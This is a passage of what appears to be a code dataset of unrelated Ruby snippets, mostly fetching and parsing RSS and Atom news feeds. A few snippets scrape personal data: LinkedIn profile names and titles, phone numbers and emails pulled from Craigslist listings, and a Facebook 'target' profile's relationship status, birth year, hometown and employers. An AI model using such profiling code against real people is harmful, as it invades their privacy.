prism:coverDate or\r\n # dc:date or prism:publicationDate\r\n date_node = xml_text(node, \"prism:coverDate\") || xml_text(node, \"dc:date\") || xml_text(node, \"prism:publicationDate\")\r\n if date_node && date_node =~ /\\A(\\d\\d\\d\\d-\\d\\d-\\d\\d)/\r\n item.publication_date = Date.strptime( $1, \"%Y-%m-%d\")\r\n elsif date_node\r\n # Let's try a random parse, they give us all kinds of things I'm afraid\r\n item.publication_date = Date.parse(date_node) rescue ArgumentError\r\n end\r\n\r\n # abstract, we need to strip possible HTML tags (sometimes they're\r\n # there, sometimes not), and also decode HTML entities. \r\n item.abstract = xml_text(node, \"rss:description\").try do |text| \r\n HTMLEntities.new.decode(strip_tags(text))\r\n end\r\n\r\n item\r\n end\r\n )\r\n\r\n # Items seem to come back in arbitrary order, we want to sort\r\n # by date reverse if we can\r\n if results.all? {|i| i.publication_date.present? }\r\n results.sort_by! {|i| i.publication_date}.reverse!\r\n end\r\n\r\n fill_in_search_metadata_for(results)\r\n\r\n return results\r\n end",
"def rss_entries(url)\n\t\tresponse = fetch(url)\n\t\tresponse[\"feed\"][\"entry\"]\n\tend",
"def authors\n nodes = @doc.xpath(\"atom:feed/atom:author\", ::AtomFeed::NS) || []\n nodes.map { |node| AtomPerson.new(node) }\n end",
"def scrape\n open(@url) do |rss|\n feed = RSS::Parser.parse(rss)\n\n feed.items.each do |item|\n # Remove the p tag and retrieve image url from the description\n # if it exists\n p_tag = item.description[%r{<p>.*</p>}]\n if p_tag\n item.description.slice! p_tag\n img_url = p_tag.match(/src=\"(?<img>[^\"]*)\"/)[:img]\n else\n img_url = nil\n end\n\n # Sanitize HTML\n item.title = CGI.unescapeHTML(item.title)\n item.description = CGI.unescapeHTML(item.description)\n\n @articles.push(\n title: item.title,\n summary: item.description,\n image_url: img_url,\n source: @source,\n url: item.link,\n pub_date: item.pubDate.to_s,\n guid: item.guid.content\n )\n end\n end\n end",
"def entries\n settings.inject([]) do |rss_entries, url|\n rss_entries + parse_rss_entries(url)\n end\n end",
"def scrape\n\t\turl = 'http://www.wsj.com/xml/rss/3_7455.xml'\n open(url) do |rss|\n \tfeed = RSS::Parser.parse(rss, false)\n puts \" \"\n puts \"*********************************\"\n \tputs \"Title: #{feed.channel.title}\"\n puts \"--------------------------------\"\n feed.items.each do |item|\n tags = tag_article(item.title.to_s)\n \tarticle = Article.new(title: item.title.to_s, \n summary: item.description.to_s.gsub(/\\\"/,''), \n link: item.link, \n date: item.pubDate.to_s.gsub(/,/,''),\n tag_list: tags, \n source: \"Wall Street Journal\")\n article.save\n end\n end\n end",
"def feeds\n all.select { |c| c.google_id =~ /^feed/ }\n end",
"def loadRSSFeeds \n @raw_data = RSS::Parser.parse('http://www.nachrichten.at/storage/rss/rss/weltspiegel.xml', false)\n end",
"def gather_feed_items(user = nil)\n if user\n # Notes left on your posts and pictures\n notes_on_your_posts = []\n\n user.posts.each do |post|\n notes_on_your_posts = smush(notes_on_your_posts, post.notes)\n post.pictures.each do |picture|\n notes_on_your_posts = smush(notes_on_your_posts, picture.notes)\n end\n end\n\n # Notes left by people the current user is following\n notes_left_by_followees = []\n\n # Notes left on posts owned by people the current user is following\n notes_left_on_followees_posts = []\n\n # Notes left on pictures owned by people the current user is following\n notes_left_on_followees_pictures = []\n\n # Posts created by people the current user is following\n posts_by_followees = []\n\n # Followings of people the current user is following\n following_followees = []\n\n # People the current user is following, following other people\n followees_following = []\n\n user.followees.each do |followee|\n posts_by_followees = smush(posts_by_followees, followee.posts)\n notes_left_by_followees = smush(notes_left_by_followees, followee.notes)\n\n followee.posts.each do |post|\n notes_left_on_followees_posts = smush(notes_left_on_followees_posts, post.notes)\n post.pictures.each do |picture|\n notes_left_on_followees_pictures = smush(notes_left_on_followees_pictures, picture.notes)\n end\n end\n\n following_followees = smush(following_followees, Follow.find_all_by_followee_id(followee.id, :conditions => \"follower_id <> #{user.id}\"))\n followees_following = smush(followees_following, Follow.find_all_by_follower_id(followee.id, :conditions => \"follower_id <> #{user.id}\"))\n end\n\n # Remove totally blank posts from feed\n posts_by_followees.each do |post|\n if post.title.blank? and post.content.blank? and post.pictures.length == 0\n posts_by_followees.delete(post)\n end\n end\n blavel_posts = User.find_by_login('blavel') ? User.find_by_login('blavel').posts : nil\n posts = smush(posts_by_followees, blavel_posts)\n if posts\n posts = posts.uniq\n end\n\n # Remove notes left by logged in user\n notes = smush(notes_on_your_posts, notes_left_by_followees, notes_left_on_followees_posts, notes_left_on_followees_pictures)\n notes.each do |note|\n if note.user == user\n notes.delete(note)\n end\n end\n notes = notes.uniq\n\n # Add together follows\n following_you = Follow.find_all_by_followee_id(user.id)\n follows = smush(following_you, following_followees, followees_following)\n follows = follows.uniq\n else\n # If no user is specified, return all feed items\n notes = Note.find(:all)\n posts = Post.find(:all)\n follows = Follow.find(:all)\n\n # Remove totally blank posts from feed\n posts.each do |post|\n if post.title.blank? and post.content.blank? and post.pictures.length == 0\n posts.delete(post)\n end\n end\n end\n\n feed_items = smush(notes, posts, follows)\n feed_items.sort! { |x,y| y.created_at <=> x.created_at }\n feed_items = feed_items[0..19]\n\n return feed_items\n end",
"def retrieve_data\n # Define the url\n url = 'http://www.sbs.com.au/news/rss/news/science-technology.xml'\n\n # Open the url and parse the rss feed\n open(url) do |rss|\n # Start parsing\n feed = RSS::Parser.parse(rss, false)\n\n # Iterate each item and scrape information\n feed.items.each do |item|\n # If the title of thie article matches the title of the last saved article,\n # stop scraping to avoid from saving duplicates in database\n break if !@last_title.nil? && @last_title.eql?(item.title.to_s)\n\n # If thie article is already stored then ignore\n next if Article.find_by(title: item.title.to_s)\n\n # Make a template dictionary to put @articles\n temp = {\n author: nil,\n title: item.title,\n summary: item.description,\n image: nil,\n date_time: DateTime.parse(item.pubDate.to_s),\n link: item.link,\n categories: nil\n }\n\n # Put the object into articles array\n @articles << temp\n end\n end\n end",
"def get_mails()\n emails = Mail.find(:what => :first, :count => 20, :order => :asc)\n relevant = filter_mails emails\n parse_mails relevant\n end",
"def fetch\n @jobs = fetch_rss(url, Sources::STACKOVERFLOW)\n end",
"def getAllUserFeed(userID)\n i = 0\n feed = Array.new\n feed[i] = getUserProfileFeed(userID, 0, 0)\n count = feed[i][\"count\"]\n i += 1\n while count > 0\n feed[i] = getUserProfileFeed(userID, feed[i-1][\"last_document_id\"], feed[i-1][\"last_event_id\"])\n count = feed[i][\"count\"]\n i += 1\n end\n feed\n end",
"def scrape\n @articles = []\n url = 'http://feeds.news.com.au/heraldsun/rss/heraldsun_news_technology_2790.xml'\n open(url) do |rss|\n feed = RSS::Parser.parse(rss, false)\n feed.items.each do |item|\n article = Article.create(title: item.title.to_s.tr('\"', '\\''),\n summary: item.description.to_s\n .gsub(/’/, '\\'').gsub(/\\\"/, '\\''),\n imageURL: item.enclosure.url,\n link: item.link,\n pubDate: DateTime.parse(item.pubDate.to_s),\n source: HSImporter.source_name)\n @articles << article\n end\n end\n @articles\n end",
"def get_feed_internal\n result = CampusOracle::Queries.get_person_attributes(@uid)\n if result\n result[:reg_status] = {\n :code => result[\"reg_status_cd\"],\n :summary => reg_status_translator.status(result[\"reg_status_cd\"]),\n :explanation => reg_status_translator.status_explanation(result[\"reg_status_cd\"]),\n :needsAction => !reg_status_translator.is_registered(result[\"reg_status_cd\"])\n }\n result[:education_level] = educ_level_translator.translate(result[\"educ_level\"])\n result[:california_residency] = cal_residency_translator.translate(result[\"cal_residency_flag\"])\n result['affiliations'] ||= \"\"\n result[:roles] = {\n :student => result['affiliations'].include?(\"STUDENT-TYPE-\"),\n :registered => result['affiliations'].include?(\"STUDENT-TYPE-REGISTERED\"),\n :exStudent => result['affiliations'].include?(\"STUDENT-STATUS-EXPIRED\"),\n :faculty => result['affiliations'].include?(\"EMPLOYEE-TYPE-ACADEMIC\"),\n :staff => result['affiliations'].include?(\"EMPLOYEE-TYPE-STAFF\"),\n :guest => result['affiliations'].include?(\"GUEST-TYPE-COLLABORATOR\")\n }\n result\n else\n {}\n end\n end",
"def scrape_people\n people = []\n lis = @browser.lis(css: \".mod.result.people\")\n lis.each do |li|\n user_id = li.attribute_value(\"data-li-entity-id\")\n\n bd = li.div(class: \"bd\")\n name = bd.h3.a.text\n if name =~ /linkedin member/i\n next\n end\n\n if bd.dl(class: \"snippet\").present?\n title = bd.dl(class: \"snippet\").dd.p.text\n else\n title = bd.div.text\n end\n\n full_url = bd.h3.a.href\n person = {\n user_id: user_id,\n name: name,\n full_url: full_url,\n title: title\n }\n people << person\n end\n people\nend",
"def news\n do_scrape\n @posts = UbuEntry.all(:order => \"id DESC\", :limit => 400)\n render :layout => false, :content_type => Mime::RSS\n end",
"def scrape_all_contacts url\n uri = URI.parse(url)\n conn = connect(uri)\n\n contacts, posts = scrape_from_page conn, uri\n\n # Extract more pages from this topic if this page is full\n # TODO: This infinite-loops if the last page has exactly 20 posts...\n if posts == 20 && url =~ RE_TOPIC\n position = url.match(RE_TOPIC)[1].to_i\n\n while posts == 20 do\n position += 20\n url = url.split(/\\./)[0..-2].push(position.to_s).join('.')\n\n new_contacts, posts = scrape_from_page conn, URI.parse(url)\n contacts.merge!(new_contacts)\n\n p posts\n end\n end\n\n contacts\nend",
"def contact_feed(url)\n @contacted ||= {}\n begin\n # Check if url has already been seen. If not contact it.\n @contacted[url] ||= open(url) { |r| RSS::Parser.parse(r).items }\n rescue OpenURI::HTTPError => e\n Logger.instance.error \"#{e} occured while contacting #{url.inspect}\"\n return []\n end\n @contacted[url].dup\n end",
"def feed\n @articles = Article.feed_list(current_user, params[:page])\n end",
"def authors\n nodes = @node.xpath(\"atom:author\", ::AtomFeed::NS) || []\n nodes.map { |node| AtomPerson.new(node) }\n end",
"def run\n scraper = ThreatDetector::Scraper.new options\n\n fetch_feeds.map do |item|\n next unless valid_feed?(item)\n\n scraper.for(item['name'], item['url'])\n scraper.parse_and_save_entries\n\n yield(item, scraper) if block_given?\n item.slice('name', 'url', 'source')\n end.compact\n end",
"def feed\n\t\t@goths = Goth.find(:all, :conditions => 'published_at IS NOT NULL', :limit => 10, :order => 'published_at DESC')\n\tend",
"def parse_list\n doc = REXML::Document.new(list)\n root = doc.root\n list_items = []\n root.elements.each(\"//atom:feed\") do |entry|\n item = {}\n entry.elements.each do |e|\n case e.name\n when \"id\", \"link\", \"updated\"\n item[e.name] = e.text\n when \"author\"\n item[e.name] ||= []\n e.elements.each(\"atom:name\") do |author|\n item[e.name] << author.text\n end\n end\n end\n list_items << item unless item.empty?\n end\n list_items\n end",
"def get_cnn\n articles = []\n\n urls = {'politics' => 'http://rss.cnn.com/rss/cnn_allpolitics.rss',\n 'tech' => 'http://rss.cnn.com/rss/cnn_tech.rss',\n 'business' => 'http://rss.cnn.com/rss/money_latest.rss',\n 'travel' => 'http://rss.cnn.com/rss/cnn_travel.rss',\n 'entertainment' => 'http://rss.cnn.com/rss/cnn_showbiz.rss',\n 'health' => 'http://rss.cnn.com/rss/cnn_health.rss',\n 'sports' => 'http://rss.cnn.com/rss/si_topstories.rss'\n }\n\n authors = %w(Dorren Serkan Chad Randall Matt Decarlo Rachel Depa)\n urls.each do |cat, url|\n content = open(url).read\n rss = RSS::Parser.parse(content, false)\n\n rss.items.each do |item|\n article = {:id => item.title.downcase.gsub(/\\W+/, '-'),\n :title => item.title, \n :content => item.description,\n :category => cat,\n :published_at => item.pubDate,\n :ratings => rand(5) + 1,\n :authors => []}\n\n article[:authors] << authors[rand(authors.size)]\n\n 2.times do |i|\n num = rand(50)\n article[:authors] << authors[num] if num < authors.size\n end\n\n articles << article\n end\n end \n\n articles\nend",
"def rss\n render_rss_feed_for Idea.find(:all, :order => 'created_at DESC',\n :limit => 10), {\n :feed => {\n :title => 'OpenMind New Ideas',\n :link => url_for(:controller => 'ideas', :action => 'list', :only_path => false),\n :pub_date => :created_at\n },\n :item => {\n :title => :title,\n :description => :formatted_description,\n :link => Proc.new{|idea| url_for(:controller => 'ideas',\n :action => 'show', :id => idea.id)}\n }\n }\n end",
"def rss\r\n Nokogiri::XML(body)\r\n end",
"def main\n\n feedlist = File.foreach('parselist') do |wholeline|\n\n wholeline.strip!\n\n next if wholeline.empty?\n\n line = wholeline.split(\",\")\n url = line[0].strip\n tag = line[1].strip\n\n #parse each feed\n\n rss = SimpleRSS.parse(open(url).read)\n\n puts ' '\n puts rss.feed.title\n puts ' '\n\n rss.items[0..2].each do|i|\n puts \"Date: #{i.pubDate or i.published}\"\n puts \"Title: #{i.title}\"\n puts \"Link: #{i.link}\"\n puts \"=\" * 80\n end\n\n end\n\nend",
"def getTwitters(searchTerm)\n # url encoding the searchterm\n searchTerm = CGI::escape(searchTerm)\n \n # grabbing the search results for the given searchTerm from summize as a REXML document\n doc = REXML::Document.new open(\"http://summize.com/search.atom?lang=en&rpp=100&q=#{searchTerm}\").read\n \n # this part swaps the current @content stack with the search result\n @content.clear {\n doc.elements.each(\"feed/entry\") do |element|\n stack(:width => 500, :height => 80) do\n fill \"#282828\"..\"#141414\", :angle => 180\n rect 0, 0, 500, 80, 5\n flow(:margin_left => 5, :margin_top => 5) do\n flow(:width => 50) do\n #clicking on avatar => visit the person's twitter profile in a webbrowser\n click do\n visit(element.elements['author'].elements['uri'].text)\n end\n \n element.each_element_with_attribute('rel', 'image', 1) do |pic|\n image pic.attributes['href'] # downloads and displays avatar\n end\n end\n flow(:width => 440) do\n # clicking on message => visit the message on twitter in a webbrowser\n click do\n element.each_element_with_attribute('rel', 'alternate', 1) do |profile|\n visit(profile.attributes['href'])\n end\n end\n \n inscription getFormattedTime(element.elements[\"published\"].text), :stroke => orange\n para element.elements[\"title\"].text, :stroke => white\n end\n end\n end\n end\n }\n end",
"def feed\n @bookings = Booking.find_waiting_pickup\n respond_to do |format|\n format.rss\n end\n end",
"def fetch_urls_from_feedly\n yaml = YAML.load_file('env.yaml')\n client = Feedlr::Client.new(oauth_access_token: yaml['account']['feedly']['access_token'])\n client.user_subscriptions.map{|m|\n # puts m.id\n hotentries = client.stream_entries_contents(m.id, :count => 5 ).items\n return hotentries\n };\nend",
"def feed_sorter\n\t\t@feeds.each do |url|\n\t\t\topen(url) do |rss|\n \t\t\tfeed = RSS::Parser.parse(rss)\n\t\t\t\n\t\t\t\tcase \n\t\t\t\twhen feed.feed_type == \"rss\"\n\t\t\t\t\trss_parser(feed)\n\t\t\t\twhen feed.feed_type == \"atom\"\n\t\t\t\t\tatom_parser(feed) \n\t\t\t\tend \n\t\t\tend \n\t\tend \n\tend",
"def aviator \n aviator_output = {}\n source = \"Aviator-aero\"\n url = 'https://newsroom.aviator.aero/rss/'\n open(url) do |rss|\n feed = RSS::Parser.parse(rss)\n\n feed.items.each_with_index {|item, index|\n title = item.title\n description = item.description.gsub(/<\\/?[^>]*>/, \"\")\n category = item.category\n link = item.link \n \n aviator_output[index] = {\n :title => title,\n :description => description,\n :link => link,\n :source => source\n }\n }\n end\n aviator_output\n end",
"def article_feed\n \tArticle.all\n end",
"def prepare_all_links(target)\n # here we get all replies to author of target message (7 days is the limit)\n all_links = Array.new\n # sometimes fails on twitter side, need to figure out why\n #req = \"http://search.twitter.com/search.atom?q=to:\" + target[:name] + \"&rpp=1000&since_id=\" + target[:sid]\n req = \"http://search.twitter.com/search.atom?q=to:\" + target[:name]\n begin\n open(req) do |f|\n f.each_line do |line|\n \t status_mention_matches = (/<link type=\"text\\/html\" rel=\"alternate\" href=\"(.*?)\"/).match(line)\n \t status_mention_link = status_mention_matches[1] unless status_mention_matches == nil\n \t unless status_mention_link == nil || (/^http:\\/\\/search.twitter.com/).match(status_mention_link) != nil\n \t all_links.push status_mention_link \n \t end\n \tend\n end\n rescue\n print \"Error while working with: \" + req + \"\\n\"\n all_links = nil\n end \n all_links\nend",
"def feed\n @data.feed ||= parsed_document.xpath(\"//link\").select{ |link|\n link.attributes[\"type\"] && link.attributes[\"type\"].value =~ /(atom|rss)/\n }.map { |link|\n absolutify_url(link.attributes[\"href\"].value)\n }.first rescue nil\n end",
"def generate_atom_feed\n xml = \"\"\n builder = Builder::XmlMarkup.new\n @articles_published.each do |article|\n content = process_with_filter(article)\n xml = builder.entry do |b|\n b.title(type: \"html\") { |t| t.cdata!(article.title) }\n unless article.authors.empty?\n b.author { |a| a.name(article.authors.first.full_name) }\n end\n b.link(rel: 'alternate', type: 'text/html', href: full_request(article.permalink))\n b.id(full_request(article.permalink))\n b.updated(article.updated_at.xmlschema)\n b.published(article.published_on.xmlschema)\n b.content(type: \"html\") { |c| c.cdata!(content) }\n end\n end\n { xml: xml }\n end",
"def list(filter=KalturaNotImplemented, pager=KalturaNotImplemented)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'filter', filter);\n\t\t\tclient.add_param(kparams, 'pager', pager);\n\t\t\tclient.queue_service_action_call('syndicationfeed', 'list', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def listing_xml\n\tcontent = {}\n\tarr = []\n\tlistings_href = get_listings_path\n\tlistings_href.each do |href|\n\t\tdoc = Nokogiri::HTML(open(CLNY + href))\n\t\tdescription = doc.xpath('//*[@id=\"postingbody\"]').first.text\n\t\troom = doc.css('p.attrgroup span').first.text\n\t\ttitle = doc.css('span.postingtitletext').text\n\t\tprice = doc.css('span.price').text\n\t\timage = doc.css('div.tray img @src').text ? doc.css('div.tray img @src').text : \"no image\"\n\t\treply_href = doc.css(\".replylink @href\").text\n\t\t# binding.pry\n\t\text_number = description.scan(/\\d{2}[\\s\\d-]{5,}/)\n\t\text_email = description.scan(/\\b[A-Z0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]{2,}\\b/i)\n\t\tbinding.pry\n\t\tarr << {title: title,\n\t\t\t\t\t\tprice: price,\n\t\t\t\t\t\troom: room,\n\t\t\t\t\t\tdescription: description,\n\t\t\t\t\t\timage: image,\n\t\t\t\t\t\treply_href: CLNY + reply_href,\n\t\t\t\t\t\tnumber: ext_number.uniq,\n\t\t\t\t\t\temail: ext_email.uniq\n\n\n\t\t }\n\tend\n\tbinding.pry\n\tarr\nend",
"def feed\n cached = Rails.cache.read(\"rss\")\n return cached unless cached.nil?\n\n resp = HTTParty.get(Rails.configuration.x.application.blog_rss)\n return [] unless resp.code == 200\n\n rss = RSS::Parser.parse(resp.body, false).items.first(5)\n cache_content(\"rss\", rss)\n rss\n rescue StandardError => e\n # If we were unable to connect to the blog rss\n logger.error(\"Caught exception RSS parse: #{e}.\")\n []\n end",
"def fetch\n feed_data = REXML::Document.new(open(@url, :proxy => true)).root\n parse(feed_data)\n end",
"def parse_rss\n parser = Parsers::RSS.new\n noko_sax = Nokogiri::XML::SAX::Parser.new(parser)\n noko_sax.parse(@data)\n parser.feed\n end",
"def get_feed_filtered\n feed = get_feed\n feed[:students].each {|student| student.delete(:email) }\n feed\n end",
"def rss_links \n\t\tdoc.xpath(\"//link[@type=\\\"application/rss+xml\\\"]\").map do |link|\n\t\t\tif link['href'] =~ /^http:\\/\\//\n\t\t\t\tlink['href']\n\t\t\telse\n\t\t\t\t\"#{@url}#{link['href']}\"\n\t\t\tend\n\t\tend\n\tend",
"def rss \n @vote_topics = VoteTopic.rss\n respond_to do |format|\n format.rss\n end\n end",
"def feed_items\n feed_item\n end",
"def parse(xml)\n @id = xml.xpath('//xmlns:feed/xmlns:id').first.text\n @title = xml.xpath('//xmlns:feed/xmlns:title').first.text\n\n @author_email =\n xml.xpath('//xmlns:feed/xmlns:author/xmlns:email').first.text\n @author_name = xml.xpath('//xmlns:feed/xmlns:author/xmlns:name').first.text\n\n xml.xpath('//xmlns:feed/xmlns:entry').each do |entry|\n title = entry.xpath('.//xmlns:title').first.text\n emails = []\n primary = entry.xpath('.//gd:email[@primary]')\n next unless primary.first\n emails << primary.first['address']\n alternates = entry.xpath('.//gd:email[not(@primary)]')\n\n emails.push(*alternates.map { |e| e['address'] })\n\n ims = []\n entry.xpath('.//gd:im').each do |im|\n ims << [im['address'], im['protocol']]\n end\n\n phones = []\n entry.xpath('.//gd:phoneNumber').each do |phone|\n phones << [phone.text, phone['rel']]\n end\n\n addresses = []\n entry.xpath('.//gd:postalAddress').each do |address|\n addresses << [address.text, address['rel']]\n end\n\n photo_link = entry.xpath('.//xmlns:link[@rel=\"http://schemas.google.com/contacts/2008/rel#photo\"]').first\n photo_url = photo_link['href'] if photo_link\n\n contact = Contact.new title, emails, ims, phones, addresses, photo_url\n\n @contacts << contact\n end\n\n self\n end",
"def rss\n @title = t('titles.news', brand: website.brand_name)\n @description = website.value_for(\"default_meta_tag_description\")\n @news = News.all_for_website(website)\n respond_to do |format|\n format.xml # render rss.xml.builder\n end\n end",
"def index\n @user_feeds = UserFeed.find_all_by_user_id(current_user.id)\n end",
"def feed\n @feed ||= (parsed_feed('rss') || parsed_feed('atom'))\n end",
"def feed\n @feed ||= (parsed_feed('rss') || parsed_feed('atom'))\n end",
"def add_weiner_twitter_feeds\n\tWeiner.get.each do |twitter_results|\n\n\tend\nend",
"def get_new_articles\n # Download the RSS feed and save to self.doc\n get_source\n \n # Keep track of which articles are in the feed \n articles = []\n \n article_links = (self.doc/'li.mjItemMain').collect do |mjItem|\n mjItem.at('a.mjLinkItem')\n end\n \n # For each item in the RSS feed \n article_links.each_with_index do |link, index|\n \n # Create or update the article in the db\n articles << Article.factory(\n :category => self.category,\n :description => '',\n :feed => self,\n :url => \"http://online.wsj.com#{link.attributes['href']}\",\n :priority => index\n )\n end\n \n articles\n end",
"def grab_urls_and_titles(feed)\n feed.remove_namespaces! #so that we can get to the titles easily\n urls = feed.search(\"//entry/link[@rel='alternate']\").map { |link| link[\"href\"] }\n titles = feed.search(\"//entry/group/title\").map { |title| title.text }\n Hash[urls.zip(titles)] #hash like this: url => title\n end",
"def feed( params={} )\n feed = get_connections(\"feed\", params)\n return map_connections feed, :to => Facebook::Graph::Generic\n end",
"def feed( params={} )\n feed = get_connections(\"feed\", params)\n return map_connections feed, :to => Facebook::Graph::Generic\n end",
"def profile_feeds(is_current_user = false)\n res = @user.contents.includes(:hash_tags, :owner, :user).ignore_daily_devotions\n unless is_current_user\n @user.user_anonymities.pluck(:start_time, :end_time).each do |range|\n res = res.where.not(created_at: range.first..(range.last || Time.current))\n end\n end\n res.order(created_at: :desc).page(@page).per(@per_page)\n end",
"def feed\r\n @posts = Post.all(:order => \"created_at DESC\")\r\n respond_to do |format|\r\n format.rss\r\n end\r\n end",
"def find_tv_programmes_by_person(person)\n response = get(\"http://www.bbc.co.uk/programmes/topics/#{CGI::escape(person.name.gsub(' ', '_'))}.json\")\n return nil unless response.code == 200\n json_data = JSON.parse(response.body)\n\n p = json_data['category_page']['available_programmes'].take(30).map do |json|\n programme = Programme.new(\n pid: json['pid'],\n title: json['display_titles']['title'],\n subtitle: json['display_titles']['subtitle'],\n synopsis: json['short_synopsis']\n )\n programme.created_at = json['first_broadcast_date']\n\n return nil if json['media_type'] == 'audio'\n programme\n\n end\n p.compact!\n p\n end",
"def process_author_groups\n author_groups_temp=xml.xpath(\"//bibrecord/head/author-group\").map do |ag|\n process_one_author_group(ag)\n end\n\n #authors_list= []\n @author_groups=author_groups_temp\n# @author_groups=[]\n# author_groups_temp.each do |ag|\n# @author_groups.push(ag) unless ag[:authors].any? {|author| authors_list.include? author}\n# authors_list=authors_list | ag[:authors]\n# end\n\n end",
"def parse_rss_alt(year, month, feed)\n file_paths = Array.new\n xbrlFilings = filter_feed_alt(Nokogiri::XML(feed), get_ciks)\n\n xbrlFilings.each do |xbrlFiling|\n cik = xbrlFiling.children[7].text\n xbrlFiles = xbrlFiling.children[23] != nil ? xbrlFiling.children[23].children : xbrlFiling.children[21].children\n file_path = Array.new\n\n (1..(xbrlFiles.length - 1)).step(2) do |j|\n url = xbrlFiles[j].attributes[\"url\"].value\n\n file_path << url if (url =~ /.(xml|xsd)$/) != nil\n end\n file_paths << [cik, [year.to_s, month.to_s], file_path]\n end\n file_paths\nend",
"def news_list_to_rss(news)\n aux = \"\"\n news.each{|n|\n aux << news_to_rss(n)\n }\n aux\nend",
"def get_feed(params)\n\n #Rails.logger.info(\" [RAILS] [LIB] [SCREEN_SCRAP] [GET_FEED] Entering\")\n\n url = process_node(params)\n\n if url && String === url && url !~ /^http/ && params[:url]\n url = URI.join(params[:url] , url).to_s\n elsif url && Array === url\n url.map! do |u|\n if u !~ /^http/ && params[:url]\n URI.join(params[:url], u).to_s\n else\n u\n end\n end\n url.uniq!\n end\n\n #Rails.logger.info(\" [RAILS] [LIB] [SCREEN_SCRAP] [GET_FEED] Leaving\")\n params[:output][\"feed\"] = url\n\n rescue => e\n Rails.logger.error(\"[RAILS] [LIB] [SCREEN_SCRAP] [GET_FEED] **** RESCUE **** #{e.message} \")\n nil\n end",
"def feed( params={} )\n feed = get_connections(\"feed\", params)\n return map_connections feed, :to => Facebook::Graph::Fee\n end",
"def scrape_article\n\n url='http://www.theage.com.au/rssheadlines/political-news/article/rss.xml'\n puts url\n open(url) do |rss|\n\n feed = RSS::Parser.parse(rss)\n\n #For each article gather the relevent information and put it in the article\n feed.items.each do |item|\n\n temp_article=Article.new\n temp_article.author=item.author\n temp_article.title=item.title\n # input was in form of several paragraphs in html format\n # the code splits the paragraphs to arrays so only the relevent\n # text is displayed\n temp_article.summary = item.description.split('</p>')[1]\n temp_article.images=get_http(item.description.split('</p>')[0].split('><')[1])\n\n temp_article.source=AgeImporter.source_name\n temp_article.link=item.link\n temp_article.date=item.pubDate.to_date\n\n\n\n if(temp_article.date <= @end && temp_article.date>=@start && is_unique(temp_article))\n # if article is with the start and end date insert into array and is unique\n\n temp_article.save\n\n\n end\n\n end\n\n\n\n\n end\n end",
"def process_feed(url, limit=200)\n rss = SimpleRSS.parse open(url)\n rss.items.each_with_index do |item, index|\n puts \"Parsing RSS item #{item.title}\"\n screenshoot(item.link, to_filename(item.title, IMG_FILENAME_SIZE))\n puts \"... donez\"\n puts \"\"\n break if index == limit-1\n end \nend",
"def gather\n @likes = @api.get_connections(id, 'likes', :limit => 10).map {|x| x['name']}.sample(4)\n @groups = @api.get_connections(id, 'groups', :limit => 10).map {|x| x['name']}.sample(4)\n @events = @api.get_connections(id, 'events', :limit => 10).map {|x| x['name']}.sample(4)\n\n @bio = if target['bio'].present?\n target['bio'].scan(/(.*)\\n?/).first.slice(0, 140)\n end\n\n @quotes = if target['quotes'].present?\n target['quotes'].scan(/(.*)\\n?/).first.slice(0, 140)\n end\n\n @gender = if target['gender'].present?\n target['gender']\n end\n\n @relationship_status = if target['relationship_status'].present?\n target['relationship_status']\n end\n\n @favorite_athletes = if target['favorite_athletes'].present?\n target['favorite_athletes'].\n map {|x| x['name']}.\n reject! {|x| x.count(' ')}\n end\n\n @languages = if target['languages'].present?\n target['languages'].map {|x| x['name']}\n end\n\n @birthday = if target['birthday'].present?\n Time.parse(target['birthday']).year rescue nil\n end\n\n @hometown = if target['hometown'].present?\n target['hometown']['name']\n end\n\n @work = if target['work'].present?\n target['work'].map {|x| x['employer']['name']}\n end\n end",
"def data(boards, team, is_string)\n\n s1 = Set.new\n\n response = Net::HTTP.get(URI.parse('http://futisforum2.org/index.php?action=.xml;type=rss2;boards=' +\n boards +\n ';limit=255'))\n\n feed = RSS::Parser.parse response\n\n feed.items.each do |item|\n\n if item.title.include? team\n\n body = Net::HTTP.get(URI.parse(item.link)).to_s.gsub!('<br />', ' ').strip\n\n # Funny encoding hack...\n body.force_encoding('iso-8859-1')\n body = body.encode(\"UTF-16be\", :invalid=>:replace, :replace=>\"?\").encode('UTF-8')\n body.to_s.gsub!('', '€')\n\t\t\t\tbody.to_s.gsub!('', '\"')\n\n document = Oga.parse_html(body)\n\n document.css('div.post div.quote').each do |quote|\n quote.replace('\"' + quote.text.strip + '\" - ')\n end\n\n document.css('div.post div.quoteheader').each do |quote|\n quote.replace(\"\")\n end\n\n document.css('div.post a').each do |link|\n\t\t\t\t #puts link.attributes[0]\n\t\t\t\t\t#puts link.text\n link.replace(link.attributes[0].to_s)\t\t\t\t\t\n end\n\n document.css('div.post ul').each do |l|\n document.css('li').each do |x|\n x.replace(' ' + x.text + ', ')\n end\n end\n\n document.css('div.post').each do |person|\n\n if is_string == true\n s1.add(person.text + \" ||| \")\n else\n s1.add(person.text)\n end\n\n #puts '-' * 40\n end\n\n break\n\n else\n # DO SOMETHING LATER\n end\n\n end\n return s1\n end",
"def show_items(n_most_recent)\n # Get the 0th item from array and open with Nokogiri\n xml_link = rss_links.first\n @xml_doc = Nokogiri::XML open(xml_link)\n \n\n # Get all the titles, dates, and links from the RSS\n # and strip their XML tag\n titles = strip_xml_tag @xml_doc.xpath(\"//title\")\n pub_dates = strip_xml_tag @xml_doc.xpath(\"//pubDate\")\n links = strip_xml_tag @xml_doc.xpath(\"//link\")\n \n item_list = make_rss_item titles, pub_dates, links, n_most_recent\n\n puts item_list\n\n end",
"def get_feed(url)\n source = URI.open(url, 'User-Agent' => 'Mozilla/5.0')\n feed = RSS::Parser.parse(source)\nend",
"def feed(usuario = \"me\")\n\t\t@graph.get_connections(usuario, 'feed')\n\tend",
"def feed_items\n []\n end",
"def scrape\n article_urls = Extractors::GoogleNewsRss.new(query: @query).extract\n\n transformed_articles = []\n\n article_urls.each do |article_url|\n payload = Extractors::Article.new(url: article_url).extract\n article_transformer = Transformers::Article.new(url: article_url, payload: payload)\n\n begin\n transformed_article = article_transformer.transform\n transformed_articles << transformed_article\n yield transformed_article if block_given?\n rescue Transformers::ScrapePatternNotDefined => e\n raise e unless block_given?\n yield e\n end\n end\n\n transformed_articles\n end",
"def index\n @items = Item.eager_load(:rss).paginate(page: params[:page], :per_page => 10).order(\"date DESC\")\n end",
